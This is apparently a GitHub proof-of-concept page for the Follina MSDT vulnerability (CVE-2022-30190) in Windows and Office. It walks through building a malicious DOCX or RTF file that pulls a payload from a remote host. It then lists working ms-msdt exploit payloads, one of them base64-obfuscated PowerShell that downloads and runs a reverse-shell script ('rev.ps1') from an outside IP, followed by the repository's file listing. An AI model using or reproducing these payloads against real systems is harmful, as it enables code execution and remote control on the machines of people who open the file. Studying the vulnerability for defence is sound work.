CVE-2022-30190 PoC — Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability

Source

https://github.com/AchocolatechipPancake/MS-MSDT-Office-RCE-Follina

Associated Vulnerability

Title:Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (CVE-2022-30190)
Description:A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Please see the MSRC Blog Entry for important information about steps you can take to protect your system from this vulnerability.

Description

CVE-2022-30190 | MS-MSDT Follina One Click

Readme

# MS-MSDT-Office-RCE-Follina
CVE-2022-30190 | MS-MSDT Follina One Click

1. Create a Docx file.
2. In the Docx file, Insert > Object > Bitmap Image > Ok
3. In the Paint application that launched, save the Paint file.
4. Save your Docx file.
5. Open your file as an archive (With 7Zip; Right Click > 7Zip > Open Archive.)
6. Copy out the Document.xml from \Word\ and document.xml.rels file from \word_rels\
7. Open/Edit the \word\_rels\Document.xml.rels and locate the relationship XML Tag with "/relationships/oleObject". After this replace the destination in "Target=" to your remote destination where it will grab the payload from. Also add "TargetMode="External"" to the XML Tag.
8. Compress back to Docx file (Send to > Compressed (zipped) folder  |  Rename file type from zip > docx/doc )

--------------------------------------------------------------------------------------------------------
### RTF File Type
Once a docx has been saved utilizing the paramaters step / paramaters below. Save the Docx as an RTF.

> If you also add these elements under the `<o:OLEObject>` element in `word/document.xml`:

```
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
```

--------------------------------------------------------------------------------------------------------
The act of recompressing can be observed from JohnHammond's Python Script as well:  
    ~ Rebuild the original office file ~  
    
    shutil.make_archive(args.output, "zip", doc_path)  
    os.rename(args.output + ".zip", args.output)  
    
Reference: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py



--------------------------------------------------------------------------------------------------------





## Payloads 

### Basic Calc Execute:
```
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
```

Can Replace the Start-Process('calc') with:
> IEX('calc.exe')
--------------------------------------------------------------------------------------------------------
### SMB Share Execution:

```
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>
```
--------------------------------------------------------------------------------------------------------
### PS1 File Load:
```
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>  
```

Decoded:
Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))

--------------------------------------------------------------------------------------------------------
### Apache2 access.log should show connection upon opening file
![Log Example](/log.png?raw=true "Example")

File Snapshot


 [4.0K]  /data/pocs/f41b3532b046664090abcf1497f67c63c05e33fa
├── [4.0K]  doc
│   ├── [1.3K]  [Content_Types].xml
│   ├── [4.0K]  docProps
│   │   ├── [ 704]  app.xml
│   │   └── [ 735]  core.xml
│   └── [4.0K]  word
│       ├── [3.8K]  document.xml
│       ├── [1.5K]  fontTable.xml
│       ├── [4.0K]  _rels
│       │   └── [ 991]  document.xml.rels
│       ├── [2.9K]  settings.xml
│       ├── [ 29K]  styles.xml
│       ├── [4.0K]  theme
│       │   └── [6.6K]  theme1.xml
│       └── [ 803]  webSettings.xml
├── [ 10K]  file.docx
├── [9.4K]  index.html
├── [126K]  log.png
└── [3.6K]  README.md

5 directories, 14 files

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